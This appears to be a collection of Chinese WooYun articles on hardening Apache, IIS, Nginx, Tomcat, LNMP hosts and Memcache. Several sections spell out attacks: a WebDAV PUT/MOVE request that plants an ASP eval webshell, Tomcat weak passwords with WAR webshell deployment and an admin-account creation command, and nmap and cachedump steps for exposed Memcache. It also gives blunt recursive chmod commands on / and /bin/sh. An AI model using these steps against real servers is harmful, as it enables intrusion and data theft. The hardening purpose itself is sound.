乌云知识库 - 服务端安全配置内容编撰

0x00 测试环境

centos6.5+apache2.2.15+php5.3.3

0x01 php的运行模式介绍

php的运行模式分四种:
1. CGI通用网关接口 2. fast-cgi常驻型的CGI 3. cli命令行运行 4. web模块模式
一般情况下,apache使用web模块模式运行php

0x02 Apache运行原理介绍

Apache是基于模块化设计的,各个模块在系统启动的时候按需载入。Apache对于php的解析,就是通过众多Module中的php Module来完成的。 所以,php加载成为了apache的一个模块,可以把apache和php当成一个整体看待。 当浏览器请求一个php文件时,我们可以理解为apache直接处理返回给浏览器结果,服务器上也只会有httpd进程,而不会有php进程。 apache的一些配置主要是通过
httpd.conf
来实现的,但是可以在httpd.conf中开启对
.htaccess
的支持,然后在.htaccess中进行配置。不过一般情况下,不应该使用.htaccess文件,除非你对主配置文件没有访问权限。 .htaccess文件应该被用在内容提供者需要针对特定目录改变服务器的配置而又没有root权限的情况下。如果服务器管理员不愿意频繁修改配置,则可以允许用户通过.htaccess文件自己修改配置。

0x03 Apache安全配置方案

1. 选择漏洞较少的apache版本,并打上安全补丁

查看apache版本号:
httpd -v
然后在sebug上搜索该版本号有什么漏洞,可根据提示提升版本或者打上补丁

2. 关闭一些不使用的模块及功能

可在LoadModule前加#,来注释掉一些不使用的模块

3. 隐藏banner信息

ServerTokens OS  修改为:
ServerTokens Prod
(在出现错误页的时候不显示服务器操作系统的名称) ServerSignature On 修改为:
ServerSignature Off
(不回显apache版本信息)

4. 删除默认网站及页面

删除默认的页面,防止泄露服务器信息

5. 可修改banner信息 6. 配置httpd.conf禁止目录浏览

将Options Indexes FollowSymLinks改为Options -Indexes FollowSymLinks

7. 配置httpd.conf设置默认文档
DirectoryIndex index.html
8. 合理配置apache的运行账户

为apache单独建立一个运行账户及账户组,并在httpd.conf配置 User apache Group apache

9. 合理控制apache运行账户对磁盘的写入,执行权限

取消apache运行账户对网站目录的写入权限,上传目录除外,其他非网站目录尽量不给权限

10. 合理控制apache运行账户对sh等的执行权限

取消掉了运行账户对sh等的执行权限后能够防止webshell通过默认的sh执行命令

11. 配置httpd.conf取消对上传目录的php执行权限
Deny from all
12. 配置httpd.conf限制禁止访问的文件夹,例如后台目录
Deny from all
13. 配置httpd.conf限制一些特殊目录的特定ip访问,如内部接口等。
Order Deny,Allow Deny from all Allow from 192.168.1.111
14. 配置httpd.conf限制一些文件类型的访问,如txt的日志
Order allow,deny Deny from all
15.配置httpd.conf修改修改监听端口来防止一些内部系统被扫描

这样可以防止一些直接扫描80端口的黑客 Listen 12345

16. 关闭对.htaccess的支持

AllowOverride All 改为 AllowOverride None

17. 配置httpd.conf记录访问日志

0x04 .htaccess常见配置方法参考

首先,不建议使用.htaccess,其次,使用.htaccess需要在httpd.conf中开启,最后,开始.htaccess支持后需要在httpd.conf中配置防止.htaccess文件被下载,下面介绍几个基本配置方法不全,更多的可以参考其他网站专门针对.htaccess 的配置方法。 1. 定制目录的默认文档
DirectoryIndex index.html index.php index.htm
2. 定制错误页面
ErrorDocument 404 errors/404.html
3. 控制访问文件和目录的级别
order deny,allow deny from all allow from 192.168.0.0/24
4. 防止列目录
Options -Indexes

0x05 总结

其实一个web服务器的保护是分几个层次的(暂不考虑程序的漏洞): 1. 隐藏自己

要保护一个web服务器首先得学会隐藏自己,对于一些内部系统,如后台,内部接口等,我们可以通过改端口,限制ip等方式来不让黑客发现。

2. 隐藏身份

对于多数web系统来说,都是提供给外面的访问的,所以想隐藏自己其实是很难的。但是我们还是要学会隐藏身份,可以通过改banner,该返回信息来隐藏身份来加大黑客攻击的难度。

3. 选用安全的版本及修补一些已知的漏洞

其实前面两步都是很容易突破,然后获知一个web系统所使用的web服务器版本的,此时我们能做的就是选择一个少漏洞的版本,及打上安全补丁。

4. 做好安全配置

做好基础的安全配置,禁止目录浏览,设定默认文档,上传目录限制php执行等等,来阻挡黑客的入侵。

5. 合理配置web服务进程账户的权限

当黑客已经通过程序漏洞上传了一个webshell并且已经成功执行了,此时,就只能很好的配置服务进程的账户权限,包括磁盘的读取写入,特殊程序如sh的执行,等等,这样可以讲危害降到最低。

6. 记录日志

最后,当黑客已经光顾之后,我们也只能通过日志来分析,看问题出在哪里了。


0x00 简介

WebDAV是一种基于 HTTP 1.1协议的通信协议.它扩展了HTTP 1.1,在GET、POST、HEAD等几个HTTP标准方法以外添加了一些新的方法。 使应用程序可直接对Web Server直接读写,并支持写文件锁定(Locking)及解锁(Unlock),还可以支持文件的版本控制。IIS实现Webdav是采用的其两种接口CGI、ISAPI的ISAPI接口。但因为其没有采用影射的方式,所以IIS的主程序
w3svc.dll
本身包含了Webdav的信息。 其识别出是Webdav的请求后就调用Webdav的处理模块httpext.dll。对于常见几种请求方法GET、HEAD、POST等,因为常见一些映射都支持。 所以不能以请求方法作为Webdav请求的判断,
w3svc.dll
就根据请求头的字段识别。如果请求头里面包含
Translate:

If:

Lock-Token:
中的一种,就认为是Webdav的请求。
Translate:
就是那个Translate:f的泄露源代码的一个请求头,其实设置别的两个也是一样的。 可能很多IDS是没有这点知识的。W3svc.dll还内置了几个别的请求方法
TRACK

TRACE
等。
TRACK
就是用于调试错误的,如果收到这样的请求头,w3svc.dll会原样返回请求数据。 相当于我们常见的ping.exe。IIS对TRACK请求没有进行LOG记录,这点我们可以用于来获得banner。对于IIS将优于大家习惯使用的HEAD。 如果上面的请求方法没匹配,那么w3svc.dll就会认为是Webdav的请求,交给httpext.dll处理了。这些请求包含Webdav支持的PROPFIND、PROPPATCH、MKCOL、DELETE、PUT、COPY、MOVE、LOCK、UNLOCK等。

0x01 配置

为了安全上的考虑,IIS默认并不会启动WebDAV的功能,因此必须另外来激活它。 通过启动“IIS管理器”,展开本地计算机,选择“Web服务扩展”,选择“允许”的途径来启动WebDAV功能。 开启WebDAV之后,IIS就支持PROPFIND、PROPPATCH、MKCOL、DELETE、PUT、COPY、MOVE、LOCK、UNLOCK等方法了。 当IIS中的配置允许写入的时候就可以直接PUT文件上去,由此可能引发非常严重的安全问题,强烈建议禁制

0x02 危害

当开启了WebDAV后,IIS中又配置了目录可写,便会产生很严重的问题。 wooyun上由此配置产生的问题很多,并且有老外黑了一群中国政府站有一部分就是由于此配置。 危害巨大,操作简单,直接批量扫描,上传shell。
WooYun: 闪动科技webserver配置不当可取shell WooYun: 瑞达信息安全产业股份有限公司IIS写入漏洞 WooYun: 海航webdav漏洞导致服务器沦陷 WooYun: 阿里某邮件系统服务器配置不当 WooYun: 国家某局某文件系统存在严重安全问题 WooYun: 国内某大型风电工控系统应用配置失误

0x03 查找存在问题的服务器

对服务器发送OPTION包:
OPTIONS / HTTP/1.1 Host: www.test.com
返回响应头如下:
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET MS-Author-Via: DAV Content-Length: 0 Accept-Ranges: none DASL: DAV: 1, 2 Public: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH Allow: OPTIONS, TRACE, GET, HEAD, DELETE, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, MKCOL, LOCK, UNLOCK Cache-Control: private
当ALLOW中包含如上方法时,可以确定服务器开启了WebDAV。 此时可以用PUT上传文件,但是不可以直接上传可执行脚本文件,可以先上传一个其他类型的文件,然后
MOVE
成脚本文件。
PUT /test.txt HTTP/1.1 Host: www.test.com Content-Length: 23 <%eval request("a")%>
启用了“WebDAV”扩展,并且复选了“写入”,就可以写入txt文件了。要想使用MOVE命令将其更名为脚本文件后缀,必须还复选上“脚本资源访问”。 但是发现利用IIS的解析漏洞,可以MOVE成
test.asp;.jpg
,然后就可以当做shell来执行了
MOVE /test.txt HTTP/1.1 Host: www.test.com Destination: http://www.test.com/test.asp;.jpg
有一个开源的DAV管理工具,使用工具直接查看:
http://www.davexplorer.org/download.html

0x03 修复方案

1 禁用WebDAV。 通常情况下网站不需要支持额外的方法,右键WebDAV,点击禁用即可。
2 如果要使用WebDAV的话,加上权限验证。 如果选取“脚本资源访问”,则用户将具备修改WebADV文件夹内的脚本文说明件(scriptfile)的功能。 除了此处的虚拟目录权限外,还需要视
NTFS权限
,才可以决定用户是否有权限来访问WebDAV文件夹内的文件。 WebDAV文件夹的NTFS权限给予用户适当的NTFS权限。 首先请设置让
Everyone组
只有“读取”的权限,然后再针对个别用户给予“写入”的权限,例如我们给予用户“User”写入的权限。 选择验证用户身份的方法启动“IIS管理器”,然后右击WebDAV虚拟目录,选择
“属性”→“目录安全性”
,单击
“身份验证和访问控制”
处的编辑按钮。
不要选取“启用匿名访问”
,以免招致攻击。选择安全的验证方法,
选择“集成Windows身份验证”
参考:
http://hi.baidu.com/yuange1975/item/a836d31096b5b959f1090e89 http://www.daxigua.com/archives/1597 http://www.daxigua.com/archives/2750 http://www.daxigua.com/archives/2747 http://blog.163.com/wfruee@126/blog/static/4116699420123261427232/

0x00 测试环境

操作系统:Windows Server 2008 R2 Enterprise Service Pack 1 x64 IIS版本:IIS7.5 程序:asp.net

0x01 IIS7.5的安装


http 常见功能:开启静态内容,默认文档,HTTP错误;目录浏览,WebDAV发布如无特殊要求,不要开启;HTTP重定向可根据需要开启。 应用程序开发:这个可根据实际情况开启,如为asp.net的开启ASP.NET,.NET扩展性,ISAPI扩展,ISAPI筛选;在服务器端的包含文件根据需要开启。 健康和诊断:建议开启HTTP日志记录,日志记录工具,请求监视;其他可根据需要开启。 安全性:建议开启URL授权,请求筛选,IP和域限制;其他根据需要开启。 性能,管理工具,ftp服务器,IIS可承载的Web核心可根据开启。

0x02 IIS7.5权限配置介绍

IIS7.5涉及两个账户,一个为匿名账户,一个为应用程序池账户。在磁盘的NTFS权限设置中,匿名账户只需要拥有对网站目录的读取权限即可;而应用程序池账户需要根据程序实际情况给予相应权限,比如:需要去写文件,则要给予写权限,需要去调用一个程序(如cmd.exe)则需要给予执行权限。总之,对文件的访问,首先需要有匿名账户的访问权限,然后再根据程序的操作需要什么样的权限给予应用程序池账户相应的权限。 研究发现的几个基本问题:
1. 上传目录的写入权限由应用程序池账户决定; 2. 应用程序池默认对于的账户为IIS APPPOOL\{app pool name},且属于IIS_IUSRS组; 3. 默认的匿名账户为IUSR账户,且属于authenticated users 组; 4. 任何用户都属于USERS组,且手工删除后仍然属于USERS组; 5. 上传木马之后,能够看到的目录是由应用程序池账户决定的; 6. 在此测试环境下,USERS组默认拥有网站目录的写入权限; 7. 一个aspx文件的运行跟NTFS的运行权限无关; 8. 对于网站的匿名账户只需要对网站目录有读取权限; 9. 应用程序池账户运行aspx也只需要读取权限,但是如果要写文件需则写权限,要执行其他程序则需要执行权限;

0x03 常见服务器被入侵威胁及解决措施

常见服务器入侵威胁:
1. webdav直接上传webshell 2. 通过程序文件上传漏洞上传webshell 3. webshell的权限过高导致被提权
解决常见问题措施: 1. 解决webdav问题

在安装的时候直接不安装webdav组件

2.防止上传的木马文件执行

可以在IIS中设置需要上传文件的目录,处理程序映射中的编辑功能权限中的脚本去掉,这样即使上传了木马文件在此目录,也是无法执行的。

上传目录取消应用程序池账户的执行权限

3. 防止木马执行后看到网站目录之外的文件

可以设置进程池账户对其他文件夹无读取权限。

4. 防止木马执行后可执行cmd

取消进程池账户的NTFS执行权限。

5. 防止木马执行后运行cmd权限过高

进程池账户选择权限较低的账户,最好就是默认的账户。

0x04 推荐安全配置方案

安全配置简单配置: 1. 匿名账户使用默认的IUSR。 2. 应用程序池使用默认的标识,对于的账户为IIS AppPool\应用程序池名称。 3.IIS中对上传目录设置为脚本不可执行 加强安全配置:
1. 匿名账户使用默认的“应用程序用户”也就是对应的IUSR。 2. 应用程序池账户使用默认的IIS AppPool\应用程序池名称。 3. 删除everyone,users在所有磁盘上的权限。 4. 删除users在system32上的所有权限(需要先修改所有者为administrator)。 5. 在网站目录下给予IUSR读取权限。 6. 在网站目录下给予IIS AppPool\应用程序池名称读取权限,如果程序中有特殊要求的权限,如写入文件等,则再对应的目录下给予相应的权限,如写入权限。 7. 在网站要求的上传目录给予IIS AppPool\应用程序池名称写入权限,但是不给予执行权限。 8. 在IIS中取消上传目录的脚本执行权限。

注意: 以上两种配置均使用默认的应用程序池账户,如果自定义,最好是将自定义加入IIS_IUSRS组。 IIS7.5中建立多个站点的时候,如果使用默认的应用程序池账户,系统会默认产生如IIS AppPool\各个不同的应用程序池名称。 Asp.net程序在第一次访问编译的时候,应用程序池账户需要拥有system32文件夹的读取和执行权限

0x05 疑问

在测试过程中发现,访问aspx程序,如果匿名账户为自定义的账户,则需要给自定义的匿名账户在文件夹
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Temporary ASP.NET Files
上的写入权限;但是,如果使用默认的匿名账户,也就是
IUSR
时,需要给予应用程序池账户在此文件夹上的写入权限。疑问点在于此文件夹到底是需要哪个账户的写入权限,因为选择默认的匿名账户时,即时禁止IUSR在此文件的写入权限,只要应用程序池账户在此文件夹有写权限,一样运行正常? 当匿名用户为程序默认的时候,应该就是IUSR,但为什么又传递的进程池账户?

0x00 测试环境

操作系统:CentOS6.5 Web服务器:Nginx1.4.6 Php版本:Php5.4.26

0x01 Nginx介绍

nginx本身不能处理PHP,它只是个web服务器,当接收到请求后,如果是php请求,则发给php解释器处理,并把结果返回给客户端。nginx一般是把请求发fastcgi管理进程处理,fastcgi管理进程选择cgi子进程处理结果并返回被nginx。 nginx涉及到两个账户,一个是nginx的运行账户,一个是php-fpm的运行账户。如果访问的是一个静态文件,则只需要nginx的运行账户对文件具有读取权限;而如果访问的是一个php文件,则首先需要nginx的运行账户对文件有读取权限,读取到文件后发现是一个php文件,则转发给php-fpm,此时则需要php-fpm账户对文件具有读取权限。

0x02 研究发现的结论


1. linux下,要读取一个文件,首先需要具有对文件所在文件夹的执行权限,然后需要对文件的读取权限。 2. php文件的执行不需要文件的执行权限,只需要nginx和php-fpm运行账户的读取权限。 3. 上传木马后,能不能列出一个文件夹的内容,跟php-fpm的运行账户对文件夹的读取权限有关。 4. 木马执行命令的权限跟php-fpm的账户权限有关。 5. 如果木马要执行命令,需要php-fpm的账户对相应的sh有执行权限。 6. 要读取一个文件夹内的文件,是不需要对文件夹有读取权限的,只需要对文件夹有执行权限。

0x03 Nginx服务器涉及到的安全配置


1. Nginx.conf的配置 2. php-fpm.conf的配置 3. nginx和php-fpm的运行账户对磁盘的权限配置 4. Php.ini的配置

0x04 常见需要配置的操作方法

1. 禁止一个目录的访问 示例:禁止访问path目录
location ^~ /path { deny all; }
可以把path换成实际需要的目录,目录path后是否带有"/",带“/”会禁止访问该目录和该目录下所有文件。不带"/"的情况就有些复杂了,只要目录开头匹配上那个关键字就会禁止;注意要放在fastcgi配置之前。 2. 禁止php文件的访问及执行 示例:去掉单个目录的PHP执行权限
location ~ /attachments/.*\.(php|php5)?$ { deny all; }
示例:去掉多个目录的PHP执行权限
location ~ /(attachments|upload)/.*\.(php|php5)?$ { deny all; }
3. 禁止IP的访问 示例:禁止IP段的写法:
deny 10.0.0.0/24;
示例:只允许某个IP或某个IP段用户访问,其它的用户全都禁止
allow x.x.x.x; allow 10.0.0.0/24; deny all;

0x05 需要解决的常见问题


1. 让木马上传后不能执行 针对上传目录,在nginx配置文件中加入配置,使此目录无法解析php。 2. 让木马执行后看不到非网站目录文件 取消php-fpm运行账户对于其他目录的读取权限。 3. 木马执行后命令不能执行 取消php-fpm账户对于sh的执行权限。 4. 命令执行后权限不能过高 Php-fpm账户不要用root或者加入root组。

0x06 Nginx安全配置方案

1. 修改网站目录所有者为非php-fpm运行账户,此处修改所有者为root。 命令:
#!bash chown -R root:root html/
2. 修改nginx及php-fpm的运行账户及组为nobody nginx.conf Php-fpm.conf 3. 取消nobody对所有目录的的读取权限,然后添加对网站目录的读取权限 命令:
#!bash chmod o-r –R / chmod o+r –R html/
4. 取消nobody对于/bin/sh 的执行权限
chmod 776 /bin/sh
5. 确认网站目录对于nobody的权限为可读可执行,对网站文件的权限为可读 6. 对于上传目录或者写入写文件的目录添加nobody的写入权限 7. 配置nginx.conf 对于上传目录无php的执行权限 8. 配置nginx.conf禁止访问的文件夹,如后台,或者限制访问ip 9. 配置nginx.conf禁止访问的文件类型,如一些txt日志文件

前言

tomcat是一个开源Web服务器,基于Tomcat的Web运行效率高,可以在一般的硬件平台上流畅运行,因此,颇受Web站长的青睐。不过,在默认配置下其存在一定的安全隐患,可被恶意攻击。

0x00 测试环境

Win2003 Tomcat6.0.18 安装版

0x01 安全验证

一.登陆后台

首先在win2003上部署Tomcat,一切保持默认。 Tomcat的默认后台地址为:
http://域名:端口/manager/html
.进入之后弹出登陆对话框,Tomcat默认的
用户名admin,密码为空
。 Tomcat的一些弱口令:

tomcat tomcat admin 空 admin admin admin 123456

然后来看一下Tomcat安装版默认的
tomacat-users.xml
配置文件 注:Linux平台及Windows平台免安装版本不受该漏洞影响。
二.获取Webshell
在Tomcat的后台有个WAR file to deploy模块,通过其可以上传WAR文件。Tomcat可以解析WAR文件,能够将其解压并生成web文件。 我们将一个jsp格式的webshell用WinRar打包然后将其后缀改名为WAR(本例为no.war),这样;一个WAR包就生成了。最后将其上传到服务器,可以看到在Tomcat的后台中多了一个名为/no的目录。 点击该目录打开该目录jsp木马就运行了,这样就获得了一个Webshell。
三.获取服务器权限
Tomcat服务默认是以system权限运行的,因此该jsp木马就继承了其权限,几乎可以对Web服务器进行所有的操作。 然后创建用户:
net user Boom shellcode /add
添加到管理员用户组:
net localgroup administrators Boom /add
然后可以干什么事我就不说了

0x02 安全配置

一.修改tomacat-users.xml或删除Tomcat后台

修改
\conf\tomacat-users.xml
删除Tomcat后台
\webapps
全部删除就好。
二.禁止列目录
在IIS中如果设置不当,就会列出Web当前目录中的所有文件,然而在Tomcat也不例外。如果浏览者可以在客户端浏览Web目录,那将会存在较大的安全隐患,因此我们要确认Tomcat的设置中禁止列目录。
\conf\web.xml

listings false   
确认
是false而不是true

三.服务降权
默认安装时Tomcat是以系统服务权限运行的,因此缺省情况下几乎所有的Web服务器的管理员都具有Administrator权限,存在极大的安全隐患,所以我们的安全设置首先从Tomcat服务降权开始。 首先创建一个普通用户,为其设置密码,将其密码策略设置为“密码永不过期”,比如我们创建的用户为tomcat。然后修改tomcat安装文件夹的访问权限,为tomcat赋予Tomcat文件夹的读、写、执行的访问权限,赋予Tomcat对WebApps文件夹的只读访问权限,如果某些Web应用程序需要写访问权限,单独为其授予对那个文件夹的写访问权限。 “开始→运行”,输入services.msc打开服务管理器,找到Apache Tomcat服务,双击打开该服务的属性,在其实属性窗口中点击“登录”选项卡,在登录身份下选中“以此帐户”,然后在文本框中输入tomcat和密码,最后“确定”并重启服务器。这样tomcat就以tomcat这个普通用户的权限运行。 然后重启服务,就生效了。这样普通用户tomcat运行的Tomcat其权限就大大地降低了,就算是攻击者获得了Webshell也不能进一步深入,从而威胁web服务器的安全。
四.关闭war自动部署
关闭war自动部署
unpackWARs="false" autoDeploy="false"
。防止被植入木马等恶意程序 应用程序部署与tomcat启动,不能使用同一个用户。

0x00 删除默认目录

安装完tomcat后,删除
$CATALINA_HOME/webapps
下默认的所有目录文件
#!bash rm -rf /srv/apache-tomcat/webapps/*

0x01 用户管理

如果不需要通过web部署应用,建议注释或删除
tomcat-users.xml
下用户权限相关配置

0x02 隐藏tomcat版本信息

方法一 修改
$CATALINA_HOME/conf/server.xml
,在Connector节点添加server字段,示例如下 方法二 修改
$CATALINA_HOME/lib/catalina.jar::org/apache/catalina/util/ServerInfo.properties
默认情况下如图 用户可自定义修改
server.info
字段和
server.number
字段,示例修改如下图所示。

0x03 关闭自动部署

如果不需要自动部署,建议关闭自动部署功能。在
$CATALINA_HOME/conf/server.xml
中的host字段,修改
unpackWARs="false" autoDeploy="false"

0x03 自定义错误页面

修改web.xml,自定义40x、50x等容错页面,防止信息泄露。

0x05 禁止列目录(高版本默认已禁止)

修改web.xml

0x06 AJP端口管理

AJP是为 Tomcat 与 HTTP 服务器之间通信而定制的协议,能提供较高的通信速度和效率。如果tomcat前端放的是apache的时候,会使用到AJP这个连接器。前端如果是由nginx做的反向代理的话可以不使用此连接器,因此需要注销掉该连接器。

0x07 服务权限控制

tomcat以非root权限启动,应用部署目录权限和tomcat服务启动用户分离,比如tomcat以tomcat用户启动,而部署应用的目录设置为nobody用户750。

0x08 启用cookie的HttpOnly属性

修改
$CATALINA_HOME/conf/context.xml
,添加

,如下图所示 测试结果 配置cookie的secure属性,在web.xml中
sesion-config
节点配置
cooker-config
,此配置只允许cookie在加密方式下传输。 测试结果

0x00 背景

众所周知,虚拟主机的安全不好做,特别是防止跨目录成为了重点。apache+php服务器防止跨目录的方式比较简单,网上的所有成熟虚拟主机解决方案都是基于apache的,如
directadmin

cpanel
。 但如今已然不是apache的时代了,在linux+nginx+mysql+php下怎么防止不同虚拟主机进行跨站? 首先我们要清楚明白Nginx是怎么运行的,再考虑怎么具体操作吧。 nginx实际上只是一个反向代理服务器,它接收到请求以后会看当前请求是否是.php文件,如果是则转交给php-fpm来处理,获得结果后再发给用户。所以有两个权限需要考虑:第一是
nginx
的权限,第二是
php-fpm
的权限。如下图,nginx和php-fpm都要读取这个文件,所以权限分配是要考虑的重要一项。 防御跨站要防御的有三点,第一是防止其他用户列网站目录,防止自己的一些敏感文件名被看到及访问;第二是防止其他用户读取自己的文件,防止配置信息泄露;第三就是防止其他用户写shell在自己目录。 php显然也考虑到了这个问题,其配置文件中的
open_basedir
,是一个目录列表,只允许php访问其中给出的目录。通过设置这个
open_basedir
我们就可以防御php读写web目录以外的文件,比如/etc/passwd之类的。 但现在的问题是,
open_basedir
是写在php.ini中的一个配置文件,而所有虚拟主机使用的php是同一个php,我们可以防止php访问web目录以外的文件,但是没法防止“虚拟主机1”访问“虚拟主机2”的文件,因为二者都在web目录内。甚至还有一个更大的问题是,很多版本php的
open_basedir
并不靠谱,能被很容易地绕过。 这是现在遇到的问题。解决方法就是:让每个虚拟主机用不同用户来单独启动php-fpm。 为了实现上面方法,我们需要对安装好的lnmp做些修改。(我使用的就是国内用的比较广的"lnmp一键安装包")。

0x01 lNMP加固

比如我们服务器上有两个虚拟主机
game01.com

game02.com
,其目录分别是
/home/wwwroot/game01/

/home/wwwroot/game02/
。 这里说一下,新版的lnmp一键安装包有自带的防跨站功能,是因为php 5.3.3以后,可以在php.ini末尾加上类似如下语句:

open_basedir=/home/wwwroot/www.vpser.net/:/tmp/
open_basedir=/home/wwwroot/www.vpser.net/:/tmp/
就可以给不同HOST赋予不同open_basedir。但是我们这里不用这个方法,第一其限制php版本在5.3.3以上,第二open_basedir也是有局限与漏洞的,不能完全依靠这个玩意。所以,虚拟主机创建好以后,来到
/usr/local/php/etc/php.ini
把这些内容注释掉。(
注释符;
) 首先,让不同虚拟机用不同php-fpm运行: 一、为每个站点创建php-fpm.pid文件
cd /usr/local/php5/var/run touch php-fpm-game01.pid touch php-fpm-game02.pid
二、为每个站点创建php-fpm.conf文件
cd /usr/local/php5/etc/ cp php-fpm.conf php-fpm-game01.conf cp php-fpm.conf php-fpm-game02.conf
三、为每个站点建立php-cgi.sock文件
touch /tmp/php-cgi-game01.sock #建立php-cgi.sock文件 chown www.www /tmp/php-cgi-game01.sock #设置文件所有者为www(必须与nginx的用户一致) touch /tmp/php-cgi-game02.sock chown www.www /tmp/php-cgi-game02.sock
四、修改相关文件
vi /usr/local/php5/etc/php-fpm-game01.conf pid = run/php-fpm-game01.pid listen =/tmp/php-cgi-game01.sock;

vi /usr/local/php5/etc/php-fpm-game02.conf pid = run/php-fpm-game02.pid listen =/tmp/php-cgi-game02.sock;

vi /etc/init.d/php-fpm vhost=$2 php_fpm_CONF=${prefix}/etc/php-fpm-$vhost.conf php_fpm_PID=${prefix}/var/run/php-fpm-$vhost.pid php_opts="-d open_basedir=/home/wwwroot/$vhost/:/tmp/ --fpm-config $php_fpm_CONF"
上述最后一行,就是php-fpm执行的参数,其中我们将
open_basedir
设置成了
/home/wwwroot/$vhost/:/tmp/
,$vhost就是我们运行时传入的第二个参数$2(game01或game02)。 继续修改
vi /usr/local/nginx/conf/vhost/game01.com.conf # 配置文件名可能不一样,要根据实际情况改变 fastcgi_pass unix:/tmp/php-cgi-game01.sock; vi /usr/local/nginx/conf/vhost/game02.com.conf fastcgi_pass unix:/tmp/php-cgi-game02.sock;
五.增加开机启动项
vi /home/start.sh # !/bin/bash auto=$1 /bin/bash /etc/rc.d/init.d/php-fpm $auto game01 /bin/bash /etc/rc.d/init.d/php-fpm $auto game02 chmod +x /home/start.sh
然后编辑
/etc/rc.local

start.sh
加入启动项。 到此,不同虚拟主机就会以运行不同的php-fpm。我们还需要用不同的用户身份来运行。
groupadd game01 groupadd game02 useradd game01 -M -s /sbin/nologin -g game01 useradd game02 -M -s /sbin/nologin -g game02
添加了
game01.game01

game02.game02
两个用户。 修改
/usr/local/php/etc/php-fpm-game01.conf

listen.owner = game01 listen.group = game01 user=game01 group=game01
game02同理修改。这样我们就让php-fpm以不同用户来运行了。 再来到
/home/wwwroot/

cd /home/wwwroot/ chown game01.game01 -R game01 chown game02.game02 -R game02
将game01和game02文件夹分别给予用户
game01

game02
。 再有,我们的nginx是默认以www用户运行的,所以是不能读取game01、game02用户文件的,如果把文件权限设置成777,又不能防止game01读取game02的文件。 所以,我们应该将www用户加入game01、game02组,再把game01、game02的文件设置成750权限,这样就可以允许www来读取
game01/game02
的文件(因为在同组,而组权限是5,5就够了),又能防止game01读取game02的文件。 linux中允许把一个用户加入多个组,所以操作如下:
usermod -aG game01 www usermod -aG game02 www
这时候。我们的防御其实有两层。 01.不同php-fpm运行两个虚拟主机的php程序,他们拥有自己的open_basedir,使之不能跨目录。 02.即使open_basedir被绕过了,以game01用户身份运行的php-fpm也无法写入、读取game02的文件,因为game02的所有文件权限都是750。其他用户没有任何权限(0)。 一切设置好以后,说一下使用方法了。

0x02 使用方法

先kill掉已有的php-fpm,再重启一下nginx,再
/home/start.sh
启动新的php-fpm即可。

/etc/init.d/php-fpm start game01 单独启动game01 /etc/init.d/php-fpm start game02 单独启动game02 /etc/init.d/php-fpm stop game01 单独启动game01 /etc/init.d/php-fpm stop game02 单独启动game02

以上是我拼凑的一点方法,可能并不是最佳方法(我对nginx机制也是不熟悉,也许有更简单的方法可以解决这个问题),所以也希望各大牛能分享自己运维的方法,指出我的不足

0x03 参考


http://drops.wooyun.org/tips/1323 http://www.dedecms.com/knowledge/servers/linux-bsd/2012/0819/8389.html http://yzs.me/2198.html

0x00 Memcache简介

Memcache是一个高性能的分布式的内存对象缓存系统,通过在内存里维护一个统一的巨大的hash表,它能够用来存储各种格式的数据,包括图像、视频、文件以及数据库检索的结果等。简单的说就是将数据调用到内存中,然后从内存中读取,从而大大提高读取速度。 Memcache是danga的一个项目,最早是LiveJournal 服务的,最初为了加速 LiveJournal 访问速度而开发的,后来被很多大型的网站采用。 Memcached是以守护程序方式运行于一个或多个服务器中,随时会接收客户端的连接和操作。

0x01 搭建Memcache服务


yum install memcached
安装memcache服务端
yum -y install php-pecl-memcache
安装php扩展操作memcache
php -m | grep memcache
查看php扩展是否安装成功
memcached -d -m 100 -u root -l x.x.x.x -p 11211 -c 512 -P /tmp/memcached.pid
参数说明:
-d选项是启动一个守护进程; -m是分配给Memcache使用的内存数量,单位是MB,我这里是100MB; -u是运行Memcache的用户,我这里是root; -l是监听的服务器IP地址我这里指定了服务器的IP地址x.x.x.x; -p是设置Memcache监听的端口,我这里设置了11211,最好是1024以上的端口; -c选项是最大运行的并发连接数,默认是1024,我这里设置了512,按照你服务器的负载量来设定; -P是设置保存Memcache的pid文件,我这里是保存在 /tmp/memcached.pid; 想要结束memcache进程

kill `cat /tmp/memcached.pid`
设置开机启动
chkconfig memcached on
phpMemcachedAdmin图形化界面,操作memcache,类似phpmyadmin
http://blog.elijaa.org/index.php?pages/phpMemcachedAdmin-Installation-Guide
最新版默认界面 Execute Commands on Servers那里可以执行命令。 当然了用telnet其实是一样的。

0x02 memcache匿名访问危害

在乌云提交的漏洞当中,有很多因为memecache限制不严格,导致信息泄露的问题:
WooYun: memcached未作IP限制导致缓存数据可被攻击者控制 WooYun: 通过Memcache缓存直接获取某物流网用户密码等敏感数据 WooYun: 56.com memcached端口可以远程使用
从memcache中获取信息通常是先查看items信息:

stats items

stats cachedump <返回结果数量,0代表返回全部>

除了查看信息,通用可以修改删除信息。
phpMemcachedAdmin
执行命令那里也有个可以搜索key的脚本,并且支持正则匹配。 0x03 查找可匿名访问memcache的方式 memcache默认是
11211
端口,可使用nmap扫描有开
11211
端口的服务器。
nmap -n --open -p 11211 X.X.X.X/24
然后telnet上,执行下 stats items 看看是否有返回结果。

0x04安全配置

Memcache服务器端都是直接通过客户端连接后直接操作,没有任何的验证过程,这样如果服务器是直接暴露在互联网上的话是比较危险,轻则数据泄露被其他无关人员查看,重则服务器被入侵,因为Mecache是以root权限运行的,况且里面可能存在一些我们未知的bug或者是缓冲区溢出的情况,这些都是我们未知的,所以危险性是可以预见的。
内网访问
最好把两台服务器之间的访问是内网形态的,一般是Web服务器跟Memcache服务器之间。普遍的服务器都是有两块网卡,一块指向互联网,一块指向内网,那么就让Web服务器通过内网的网卡来访问Memcache服务器,我们Memcache的服务器上启动的时候就监听内网的IP地址和端口,内网间的访问能够有效阻止其他非法的访问。
memcached -d -m 1024 -u root -l 192.168.0.200 -p 11211 -c 1024 -P /tmp/memcached.pid
Memcache服务器端设置监听通过内网的192.168.0.200的ip的11211端口,占用1024MB内存,并且允许最大1024个并发连接
设置防火墙
